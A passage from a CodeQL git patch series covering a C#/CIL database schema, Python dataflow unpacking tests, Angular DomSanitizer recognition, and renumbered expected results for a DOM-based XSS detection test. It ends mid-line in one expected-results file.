@cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; +@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field; // todo: add function pointer type + +#keyset[method, index] +cil_parameter( + unique int id: @cil_parameter, + int method: @cil_method ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +#keyset[id, modifier] +cil_custom_modifiers( + int id: @cil_custom_modifier_receiver ref, + int modifier: @cil_type ref, + int kind: int ref); // modreq: 1, modopt: 0 + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/5f6770a8a174aa0b651375a847d9686533d3f528/upgrade.properties b/csharp/upgrades/5f6770a8a174aa0b651375a847d9686533d3f528/upgrade.properties new file mode 100644 index 00000000000..87219db2b0a --- /dev/null +++ b/csharp/upgrades/5f6770a8a174aa0b651375a847d9686533d3f528/upgrade.properties @@ -0,0 +1,2 @@ +description: Add relational patterns to the list of 'expr' types. +compatibility: backwards From 66426bf0cc64fe9ed785cc7014c931ab7851006c Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Mon, 18 Jan 2021 09:36:13 +0100 Subject: [PATCH 0629/1241] Python: Add tests for iterable unpacking in for-iterations and comprehensions. --- .../experimental/dataflow/coverage/test.py | 23 +++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index 98599f6bbee..b62193c63c4 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -200,6 +200,12 @@ def test_nested_comprehension_paren(): SINK(x[0]) +# Iterable unpacking in comprehensions +def test_unpacking_comprehension(): + x = [a for (a, b) in [(SOURCE, NONSOURCE)]] + SINK(x[0]) # Flow missing + + # 6.2.8. Generator expressions def test_generator(): x = (SOURCE for y in [NONSOURCE]) @@ -620,6 +626,23 @@ def test_iterated_unpacking_assignment_conversion(): SINK_F(b[0]) +@expects(4) +def test_iterable_unpacking_in_for(): + tl = [(SOURCE, NONSOURCE), (SOURCE, NONSOURCE)] + for x,y in tl: + SINK(x) # Flow missing + SINK_F(y) + + +@expects(6) +def test_iterable_star_unpacking_in_for(): + tl = [(SOURCE, NONSOURCE), (SOURCE, NONSOURCE)] + for *x,y in tl: + SINK_F(x) + SINK(x[0]) # Flow missing + SINK_F(y) + + def test_deep_callgraph(): # port of python/ql/test/library-tests/taint/general/deep.py From ff1d0cc4c7fc8afcf076b1afc5c64d15b565796e Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Mon, 18 Jan 2021 10:54:27 +0000 Subject: [PATCH 0630/1241] JS: Recognize DomSanitizer from @angular/core --- javascript/ql/src/semmle/javascript/frameworks/Angular2.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll index 199471e9a65..302cfade52e 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll @@ -120,7 +120,7 @@ module Angular2 { /** Gets a reference to a `DomSanitizer` object. */ DataFlow::SourceNode domSanitizer() { - result.hasUnderlyingType("@angular/platform-browser", "DomSanitizer") + result.hasUnderlyingType(["@angular/platform-browser", "@angular/core"], "DomSanitizer") } /** A value that is about to be promoted to a trusted HTML or CSS value. */ From 2752b4ba649e495dbc9bd687d1f7721446539988 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Mon, 18 Jan 2021 10:54:39 +0000 Subject: [PATCH 0631/1241] JS: Shift line numbers in test --- .../Security/CWE-079/DomBasedXss/Xss.expected | 170 +++++++++--------- .../XssWithAdditionalSources.expected | 144 +++++++-------- .../CWE-079/DomBasedXss/angular2-client.ts | 7 +- 3 files changed, 162 insertions(+), 159 deletions(-) diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected index 9bafa0ee6ed..701157e6164 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected @@ -15,50 +15,50 @@ nodes | addEventListener.js:12:24:12:28 | event | | addEventListener.js:12:24:12:33 | event.data | | addEventListener.js:12:24:12:33 | event.data | -| angular2-client.ts:21:44:21:66 | \\u0275getDOM ... ation() | -| angular2-client.ts:21:44:21:66 | \\u0275getDOM ... ation() | -| angular2-client.ts:21:44:21:71 | \\u0275getDOM ... ().href | -| angular2-client.ts:21:44:21:71 | \\u0275getDOM ... ().href | -| angular2-client.ts:23:44:23:69 | this.ro ... .params | -| angular2-client.ts:23:44:23:69 | this.ro ... .params | -| angular2-client.ts:23:44:23:73 | this.ro ... ams.foo | -| angular2-client.ts:23:44:23:73 | this.ro ... ams.foo | -| angular2-client.ts:24:44:24:74 | this.ro ... yParams | -| angular2-client.ts:24:44:24:74 | this.ro ... yParams | -| angular2-client.ts:24:44:24:78 | this.ro ... ams.foo | -| angular2-client.ts:24:44:24:78 | this.ro ... ams.foo | -| angular2-client.ts:25:44:25:71 | this.ro ... ragment | -| angular2-client.ts:25:44:25:71 | this.ro ... ragment | -| angular2-client.ts:25:44:25:71 | this.ro ... ragment | -| angular2-client.ts:26:44:26:82 | this.ro ... ('foo') | -| angular2-client.ts:26:44:26:82 | this.ro ... ('foo') | -| angular2-client.ts:26:44:26:82 | this.ro ... ('foo') | -| angular2-client.ts:27:44:27:87 | this.ro ... ('foo') | -| angular2-client.ts:27:44:27:87 | this.ro ... ('foo') | -| angular2-client.ts:27:44:27:87 | this.ro ... ('foo') | -| angular2-client.ts:29:46:29:59 | map.get('foo') | -| angular2-client.ts:29:46:29:59 | map.get('foo') | -| angular2-client.ts:29:46:29:59 | map.get('foo') | -| angular2-client.ts:32:44:32:74 | this.ro ... 1].path | -| angular2-client.ts:32:44:32:74 | this.ro ... 1].path | -| angular2-client.ts:32:44:32:74 | this.ro ... 1].path | -| angular2-client.ts:33:44:33:80 | this.ro ... ameters | -| angular2-client.ts:33:44:33:80 | this.ro ... ameters | -| angular2-client.ts:33:44:33:82 | this.ro ... eters.x | -| angular2-client.ts:33:44:33:82 | this.ro ... eters.x | -| angular2-client.ts:34:44:34:91 | this.ro ... et('x') | -| angular2-client.ts:34:44:34:91 | this.ro ... et('x') | -| angular2-client.ts:34:44:34:91 | this.ro ... et('x') | -| angular2-client.ts:35:44:35:89 | this.ro ... .params | -| angular2-client.ts:35:44:35:89 | this.ro ... .params | -| angular2-client.ts:35:44:35:91 | this.ro ... arams.x | -| angular2-client.ts:35:44:35:91 | this.ro ... arams.x | -| angular2-client.ts:37:44:37:58 | this.router.url | -| angular2-client.ts:37:44:37:58 | this.router.url | -| angular2-client.ts:37:44:37:58 | this.router.url | -| angular2-client.ts:41:44:41:76 | routeSn ... ('foo') | -| angular2-client.ts:41:44:41:76 | routeSn ... ('foo') | -| angular2-client.ts:41:44:41:76 | routeSn ... ('foo') | +| angular2-client.ts:22:44:22:66 | \\u0275getDOM ... ation() | +| angular2-client.ts:22:44:22:66 | \\u0275getDOM ... ation() | +| angular2-client.ts:22:44:22:71 | \\u0275getDOM ... ().href | +| angular2-client.ts:22:44:22:71 | \\u0275getDOM ... ().href | +| angular2-client.ts:24:44:24:69 | this.ro ... .params | +| angular2-client.ts:24:44:24:69 | this.ro ... .params | +| angular2-client.ts:24:44:24:73 | this.ro ... ams.foo | +| angular2-client.ts:24:44:24:73 | this.ro ... ams.foo | +| angular2-client.ts:25:44:25:74 | this.ro ... yParams | +| angular2-client.ts:25:44:25:74 | this.ro ... yParams | +| angular2-client.ts:25:44:25:78 | this.ro ... ams.foo | +| angular2-client.ts:25:44:25:78 | this.ro ... ams.foo | +| angular2-client.ts:26:44:26:71 | this.ro ... ragment | +| angular2-client.ts:26:44:26:71 | this.ro ... ragment | +| angular2-client.ts:26:44:26:71 | this.ro ... ragment | +| angular2-client.ts:27:44:27:82 | this.ro ... ('foo') | +| angular2-client.ts:27:44:27:82 | this.ro ... ('foo') | +| angular2-client.ts:27:44:27:82 | this.ro ... ('foo') | +| angular2-client.ts:28:44:28:87 | this.ro ... ('foo') | +| angular2-client.ts:28:44:28:87 | this.ro ... ('foo') | +| angular2-client.ts:28:44:28:87 | this.ro ... ('foo') | +| angular2-client.ts:30:46:30:59 | map.get('foo') | +| angular2-client.ts:30:46:30:59 | map.get('foo') | +| angular2-client.ts:30:46:30:59 | map.get('foo') | +| angular2-client.ts:33:44:33:74 | this.ro ... 1].path | +| angular2-client.ts:33:44:33:74 | this.ro ... 1].path | +| angular2-client.ts:33:44:33:74 | this.ro ... 1].path | +| angular2-client.ts:34:44:34:80 | this.ro ... ameters | +| angular2-client.ts:34:44:34:80 | this.ro ... ameters | +| angular2-client.ts:34:44:34:82 | this.ro ... eters.x | +| angular2-client.ts:34:44:34:82 | this.ro ... eters.x | +| angular2-client.ts:35:44:35:91 | this.ro ... et('x') | +| angular2-client.ts:35:44:35:91 | this.ro ... et('x') | +| angular2-client.ts:35:44:35:91 | this.ro ... et('x') | +| angular2-client.ts:36:44:36:89 | this.ro ... .params | +| angular2-client.ts:36:44:36:89 | this.ro ... .params | +| angular2-client.ts:36:44:36:91 | this.ro ... arams.x | +| angular2-client.ts:36:44:36:91 | this.ro ... arams.x | +| angular2-client.ts:38:44:38:58 | this.router.url | +| angular2-client.ts:38:44:38:58 | this.router.url | +| angular2-client.ts:38:44:38:58 | this.router.url | +| angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | +| angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | +| angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | | classnames.js:7:31:7:84 | `<span ... <span>` | | classnames.js:7:31:7:84 | `<span ... <span>` | | classnames.js:7:47:7:69 | classNa ... w.name) | @@ -670,34 +670,34 @@ edges | addEventListener.js:10:21:10:25 | event | addEventListener.js:12:24:12:28 | event | | addEventListener.js:12:24:12:28 | event | addEventListener.js:12:24:12:33 | event.data | | addEventListener.js:12:24:12:28 | event | addEventListener.js:12:24:12:33 | event.data | -| angular2-client.ts:21:44:21:66 | \\u0275getDOM ... ation() | angular2-client.ts:21:44:21:71 | \\u0275getDOM ... ().href | -| angular2-client.ts:21:44:21:66 | \\u0275getDOM ... ation() | angular2-client.ts:21:44:21:71 | \\u0275getDOM ... ().href | -| angular2-client.ts:21:44:21:66 | \\u0275getDOM ... ation() | angular2-client.ts:21:44:21:71 | \\u0275getDOM ... ().href | -| angular2-client.ts:21:44:21:66 | \\u0275getDOM ... ation() | angular2-client.ts:21:44:21:71 | \\u0275getDOM ... ().href | -| angular2-client.ts:23:44:23:69 | this.ro ... .params | angular2-client.ts:23:44:23:73 | this.ro ... ams.foo | -| angular2-client.ts:23:44:23:69 | this.ro ... .params | angular2-client.ts:23:44:23:73 | this.ro ... ams.foo | -| angular2-client.ts:23:44:23:69 | this.ro ... .params | angular2-client.ts:23:44:23:73 | this.ro ... ams.foo | -| angular2-client.ts:23:44:23:69 | this.ro ... .params | angular2-client.ts:23:44:23:73 | this.ro ... ams.foo | -| angular2-client.ts:24:44:24:74 | this.ro ... yParams | angular2-client.ts:24:44:24:78 | this.ro ... ams.foo | -| angular2-client.ts:24:44:24:74 | this.ro ... yParams | angular2-client.ts:24:44:24:78 | this.ro ... ams.foo | -| angular2-client.ts:24:44:24:74 | this.ro ... yParams | angular2-client.ts:24:44:24:78 | this.ro ... ams.foo | -| angular2-client.ts:24:44:24:74 | this.ro ... yParams | angular2-client.ts:24:44:24:78 | this.ro ... ams.foo | -| angular2-client.ts:25:44:25:71 | this.ro ... ragment | angular2-client.ts:25:44:25:71 | this.ro ... ragment | -| angular2-client.ts:26:44:26:82 | this.ro ... ('foo') | angular2-client.ts:26:44:26:82 | this.ro ... ('foo') | -| angular2-client.ts:27:44:27:87 | this.ro ... ('foo') | angular2-client.ts:27:44:27:87 | this.ro ... ('foo') | -| angular2-client.ts:29:46:29:59 | map.get('foo') | angular2-client.ts:29:46:29:59 | map.get('foo') | -| angular2-client.ts:32:44:32:74 | this.ro ... 1].path | angular2-client.ts:32:44:32:74 | this.ro ... 1].path | -| angular2-client.ts:33:44:33:80 | this.ro ... ameters | angular2-client.ts:33:44:33:82 | this.ro ... eters.x | -| angular2-client.ts:33:44:33:80 | this.ro ... ameters | angular2-client.ts:33:44:33:82 | this.ro ... eters.x | -| angular2-client.ts:33:44:33:80 | this.ro ... ameters | angular2-client.ts:33:44:33:82 | this.ro ... eters.x | -| angular2-client.ts:33:44:33:80 | this.ro ... ameters | angular2-client.ts:33:44:33:82 | this.ro ... eters.x | -| angular2-client.ts:34:44:34:91 | this.ro ... et('x') | angular2-client.ts:34:44:34:91 | this.ro ... et('x') | -| angular2-client.ts:35:44:35:89 | this.ro ... .params | angular2-client.ts:35:44:35:91 | this.ro ... arams.x | -| angular2-client.ts:35:44:35:89 | this.ro ... .params | angular2-client.ts:35:44:35:91 | this.ro ... arams.x | -| angular2-client.ts:35:44:35:89 | this.ro ... .params | angular2-client.ts:35:44:35:91 | this.ro ... arams.x | -| angular2-client.ts:35:44:35:89 | this.ro ... .params | angular2-client.ts:35:44:35:91 | this.ro ... arams.x | -| angular2-client.ts:37:44:37:58 | this.router.url | angular2-client.ts:37:44:37:58 | this.router.url | -| angular2-client.ts:41:44:41:76 | routeSn ... ('foo') | angular2-client.ts:41:44:41:76 | routeSn ... ('foo') | +| angular2-client.ts:22:44:22:66 | \\u0275getDOM ... ation() | angular2-client.ts:22:44:22:71 | \\u0275getDOM ... ().href | +| angular2-client.ts:22:44:22:66 | \\u0275getDOM ... ation() | angular2-client.ts:22:44:22:71 | \\u0275getDOM ... ().href | +| angular2-client.ts:22:44:22:66 | \\u0275getDOM ... ation() | angular2-client.ts:22:44:22:71 | \\u0275getDOM ... ().href | +| angular2-client.ts:22:44:22:66 | \\u0275getDOM ... ation() | angular2-client.ts:22:44:22:71 | \\u0275getDOM ... ().href | +| angular2-client.ts:24:44:24:69 | this.ro ... .params | angular2-client.ts:24:44:24:73 | this.ro ... ams.foo | +| angular2-client.ts:24:44:24:69 | this.ro ... .params | angular2-client.ts:24:44:24:73 | this.ro ... ams.foo | +| angular2-client.ts:24:44:24:69 | this.ro ... .params | angular2-client.ts:24:44:24:73 | this.ro ... ams.foo | +| angular2-client.ts:24:44:24:69 | this.ro ... .params | angular2-client.ts:24:44:24:73 | this.ro ... ams.foo | +| angular2-client.ts:25:44:25:74 | this.ro ... yParams | angular2-client.ts:25:44:25:78 | this.ro ... ams.foo | +| angular2-client.ts:25:44:25:74 | this.ro ... yParams | angular2-client.ts:25:44:25:78 | this.ro ... ams.foo | +| angular2-client.ts:25:44:25:74 | this.ro ... yParams | angular2-client.ts:25:44:25:78 | this.ro ... ams.foo | +| angular2-client.ts:25:44:25:74 | this.ro ... yParams | angular2-client.ts:25:44:25:78 | this.ro ... ams.foo | +| angular2-client.ts:26:44:26:71 | this.ro ... ragment | angular2-client.ts:26:44:26:71 | this.ro ... ragment | +| angular2-client.ts:27:44:27:82 | this.ro ... ('foo') | angular2-client.ts:27:44:27:82 | this.ro ... ('foo') | +| angular2-client.ts:28:44:28:87 | this.ro ... ('foo') | angular2-client.ts:28:44:28:87 | this.ro ... ('foo') | +| angular2-client.ts:30:46:30:59 | map.get('foo') | angular2-client.ts:30:46:30:59 | map.get('foo') | +| angular2-client.ts:33:44:33:74 | this.ro ... 1].path | angular2-client.ts:33:44:33:74 | this.ro ... 1].path | +| angular2-client.ts:34:44:34:80 | this.ro ... ameters | angular2-client.ts:34:44:34:82 | this.ro ... eters.x | +| angular2-client.ts:34:44:34:80 | this.ro ... ameters | angular2-client.ts:34:44:34:82 | this.ro ... eters.x | +| angular2-client.ts:34:44:34:80 | this.ro ... ameters | angular2-client.ts:34:44:34:82 | this.ro ... eters.x | +| angular2-client.ts:34:44:34:80 | this.ro ... ameters | angular2-client.ts:34:44:34:82 | this.ro ... eters.x | +| angular2-client.ts:35:44:35:91 | this.ro ... et('x') | angular2-client.ts:35:44:35:91 | this.ro ... et('x') | +| angular2-client.ts:36:44:36:89 | this.ro ... .params | angular2-client.ts:36:44:36:91 | this.ro ... arams.x | +| angular2-client.ts:36:44:36:89 | this.ro ... .params | angular2-client.ts:36:44:36:91 | this.ro ... arams.x | +| angular2-client.ts:36:44:36:89 | this.ro ... .params | angular2-client.ts:36:44:36:91 | this.ro ... arams.x | +| angular2-client.ts:36:44:36:89 | this.ro ... .params | angular2-client.ts:36:44:36:91 | this.ro ... arams.x | +| angular2-client.ts:38:44:38:58 | this.router.url | angular2-client.ts:38:44:38:58 | this.router.url | +| angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | | classnames.js:7:47:7:69 | classNa ... w.name) | classnames.js:7:31:7:84 | `<span ... <span>` | | classnames.js:7:47:7:69 | classNa ... w.name) | classnames.js:7:31:7:84 | `<span ... <span>` | | classnames.js:7:58:7:68 | window.name | classnames.js:7:47:7:69 | classNa ... w.name) | @@ -1226,19 +1226,19 @@ edges | addEventListener.js:2:20:2:29 | event.data | addEventListener.js:1:43:1:47 | event | addEventListener.js:2:20:2:29 | event.data | Cross-site scripting vulnerability due to $@. | addEventListener.js:1:43:1:47 | event | user-provided value | | addEventListener.js:6:20:6:23 | data | addEventListener.js:5:43:5:48 | {data} | addEventListener.js:6:20:6:23 | data | Cross-site scripting vulnerability due to $@. | addEventListener.js:5:43:5:48 | {data} | user-provided value | | addEventListener.js:12:24:12:33 | event.data | addEventListener.js:10:21:10:25 | event | addEventListener.js:12:24:12:33 | event.data | Cross-site scripting vulnerability due to $@. | addEventListener.js:10:21:10:25 | event | user-provided value | -| angular2-client.ts:21:44:21:71 | \\u0275getDOM ... ().href | angular2-client.ts:21:44:21:66 | \\u0275getDOM ... ation() | angular2-client.ts:21:44:21:71 | \\u0275getDOM ... ().href | Cross-site scripting vulnerability due to $@. | angular2-client.ts:21:44:21:66 | \\u0275getDOM ... ation() | user-provided value | -| angular2-client.ts:23:44:23:73 | this.ro ... ams.foo | angular2-client.ts:23:44:23:69 | this.ro ... .params | angular2-client.ts:23:44:23:73 | this.ro ... ams.foo | Cross-site scripting vulnerability due to $@. | angular2-client.ts:23:44:23:69 | this.ro ... .params | user-provided value | -| angular2-client.ts:24:44:24:78 | this.ro ... ams.foo | angular2-client.ts:24:44:24:74 | this.ro ... yParams | angular2-client.ts:24:44:24:78 | this.ro ... ams.foo | Cross-site scripting vulnerability due to $@. | angular2-client.ts:24:44:24:74 | this.ro ... yParams | user-provided value | -| angular2-client.ts:25:44:25:71 | this.ro ... ragment | angular2-client.ts:25:44:25:71 | this.ro ... ragment | angular2-client.ts:25:44:25:71 | this.ro ... ragment | Cross-site scripting vulnerability due to $@. | angular2-client.ts:25:44:25:71 | this.ro ... ragment | user-provided value | -| angular2-client.ts:26:44:26:82 | this.ro ... ('foo') | angular2-client.ts:26:44:26:82 | this.ro ... ('foo') | angular2-client.ts:26:44:26:82 | this.ro ... ('foo') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:26:44:26:82 | this.ro ... ('foo') | user-provided value | -| angular2-client.ts:27:44:27:87 | this.ro ... ('foo') | angular2-client.ts:27:44:27:87 | this.ro ... ('foo') | angular2-client.ts:27:44:27:87 | this.ro ... ('foo') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:27:44:27:87 | this.ro ... ('foo') | user-provided value | -| angular2-client.ts:29:46:29:59 | map.get('foo') | angular2-client.ts:29:46:29:59 | map.get('foo') | angular2-client.ts:29:46:29:59 | map.get('foo') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:29:46:29:59 | map.get('foo') | user-provided value | -| angular2-client.ts:32:44:32:74 | this.ro ... 1].path | angular2-client.ts:32:44:32:74 | this.ro ... 1].path | angular2-client.ts:32:44:32:74 | this.ro ... 1].path | Cross-site scripting vulnerability due to $@. | angular2-client.ts:32:44:32:74 | this.ro ... 1].path | user-provided value | -| angular2-client.ts:33:44:33:82 | this.ro ... eters.x | angular2-client.ts:33:44:33:80 | this.ro ... ameters | angular2-client.ts:33:44:33:82 | this.ro ... eters.x | Cross-site scripting vulnerability due to $@. | angular2-client.ts:33:44:33:80 | this.ro ... ameters | user-provided value | -| angular2-client.ts:34:44:34:91 | this.ro ... et('x') | angular2-client.ts:34:44:34:91 | this.ro ... et('x') | angular2-client.ts:34:44:34:91 | this.ro ... et('x') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:34:44:34:91 | this.ro ... et('x') | user-provided value | -| angular2-client.ts:35:44:35:91 | this.ro ... arams.x | angular2-client.ts:35:44:35:89 | this.ro ... .params | angular2-client.ts:35:44:35:91 | this.ro ... arams.x | Cross-site scripting vulnerability due to $@. | angular2-client.ts:35:44:35:89 | this.ro ... .params | user-provided value | -| angular2-client.ts:37:44:37:58 | this.router.url | angular2-client.ts:37:44:37:58 | this.router.url | angular2-client.ts:37:44:37:58 | this.router.url | Cross-site scripting vulnerability due to $@. | angular2-client.ts:37:44:37:58 | this.router.url | user-provided value | -| angular2-client.ts:41:44:41:76 | routeSn ... ('foo') | angular2-client.ts:41:44:41:76 | routeSn ... ('foo') | angular2-client.ts:41:44:41:76 | routeSn ... ('foo') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:41:44:41:76 | routeSn ... ('foo') | user-provided value | +| angular2-client.ts:22:44:22:71 | \\u0275getDOM ... ().href | angular2-client.ts:22:44:22:66 | \\u0275getDOM ... ation() | angular2-client.ts:22:44:22:71 | \\u0275getDOM ... ().href | Cross-site scripting vulnerability due to $@. | angular2-client.ts:22:44:22:66 | 